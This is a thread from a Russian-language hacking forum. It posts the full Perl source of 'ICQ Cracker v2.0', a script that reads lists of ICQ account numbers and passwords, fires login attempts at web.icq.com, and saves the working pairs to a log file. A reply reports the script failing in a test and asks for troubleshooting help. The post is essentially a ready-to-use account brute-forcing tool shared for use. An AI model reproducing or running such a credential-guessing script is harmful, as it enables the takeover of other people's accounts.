• XSS.stack #1 – первый литературный журнал от юзеров форума

Брут на перловки

Код:
#!/usr/bin/perl

### ICQ Cracker v2.0 by Forb <forb@kamensk.ru>

### Uses modules
use IO::Socket;

### Server directives ###
$negative='incorrect';
$positive='change_details';
$server='web.icq.com';
### LocalFiles directives ###
$debug=1;
$uins='uins';
$passwordlst='pass';
$success='logg.txt';
$debuglog='debug.log';
$iall=0;
$j=0;	### Counters

### Begin of script-code
print "Starting $0\n\n" if $debug;

### Main part of script

&checkstart;	### Checking configuration for start script
&openuins;	### Opening uins&pass list



sub checkstart {
    &crash(1,$uins) unless (-f $uins);
    &crash(1,$passwordlst) unless (-f $passwordlst);
    
}

sub openuins {
    open(UINS,"$uins") || &crash(10);
	while(<UINS>) 
     {
  chomp($_);
  push(@uinslst,$_)
     }
    close(UINS);
for ($iall=0;$iall<=scalar(@uinslst);$iall++) {
     if ($iall>=scalar(@uinslst)) { &crash(2) }
    $prepareuin=$uinslst[$iall];
    print "Getting uin $prepareuin\n" if $debug;
openpass($prepareuin);
}
}

sub openpass {
my($uin)=@_;
open(PASS,"$passwordlst") || &crash(10);
while(<PASS>) { @ps=<PASS> }
close(PASS);

foreach $pass (@ps) {
$done=crack($pass,$uin);
if ($done eq 2)  { 
print "Found\n" if $debug;
return
}
if ($done eq 3)  { 
print "EOF PASSWD LIST\n" if $debug;
return
}
}
}


sub crack {
my($passwd,$uin)=@_;
unless ($passwd) {
return 3;
}
print "Trying $uin and $passwd...  \n" if $debug;

$dir="/newlogin/1,,,00.html?&karma_fail_url=http://web.icq.com/login/login_page?karma_product_css=11&karma_success_url=http://web.icq.com/whitepages/change_details/?&karma_forget=1&karma_service=1&karma_user_login=$uin&karma_user_passwd=$passwd";
          
$resuilt=&sock($dir);
if ($resuilt == -1)
  {
  print "Can\'t connect to server... Reconnecting\n" if $debug;
  redo
	} 
  elsif (!($resuilt))
  {
  	print "failed\n" if $debug;
  	return 0;
  }
  elsif ($resuilt)
  {
  	print "success\n" if $debug;
  	logging($success,"$uin\:$passwd");
  	$i++;
  	return 2;
  }
  	
}

sub sock {

    my($socket);
    my($get)=@_;
    $socket=IO::Socket::INET->new(	PeerAddr => $server,
    	PeerPort => 80,
    	Proto => tcp)
    or return -1;
    $get=~s/\r|\n//g;
    print $socket "HEAD $get HTTP/1.0\n\n";

	while (<$socket>)
     {
  $answer=$_;
  chomp($answer);
      if ($answer=~/$positive/) 
  	{
       close($socket);
       return 1
  	}
      if ($answer=~/$negative/)
  	{
       close($socket);
       return 0
  	}
     }
}

sub logging {
    my($logg,$string)=@_;
    open(LOGG,">>$logg") || &crash(10);
    print LOGG "$string\n";
    close(LOGG);    
}

sub crash {
    my($desc,$file)=@_;
	if ($desc == 1)
     {
  exit print "Can\'t access to $file\n" if $debug;
  exit
     }
	elsif ($desc == 2) 
     {
  exit print "EOF $uins\n" if $debug;
  exit
     }
	elsif ($desc == 10)
     {
  exit print "Unknown error\n" if $debug;
  exit
     }
}
 
хм...
Я его уже находил, но тестинг скрипт не прошёл, брутил свою 9 значку)
logg.txt и debug.log были пусты. Единственное что менял, это прописывал полные пути к uins;pass;logg.txt;debug.log
А то выдавал Can't access to ...
Может что-то неправильно делал?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх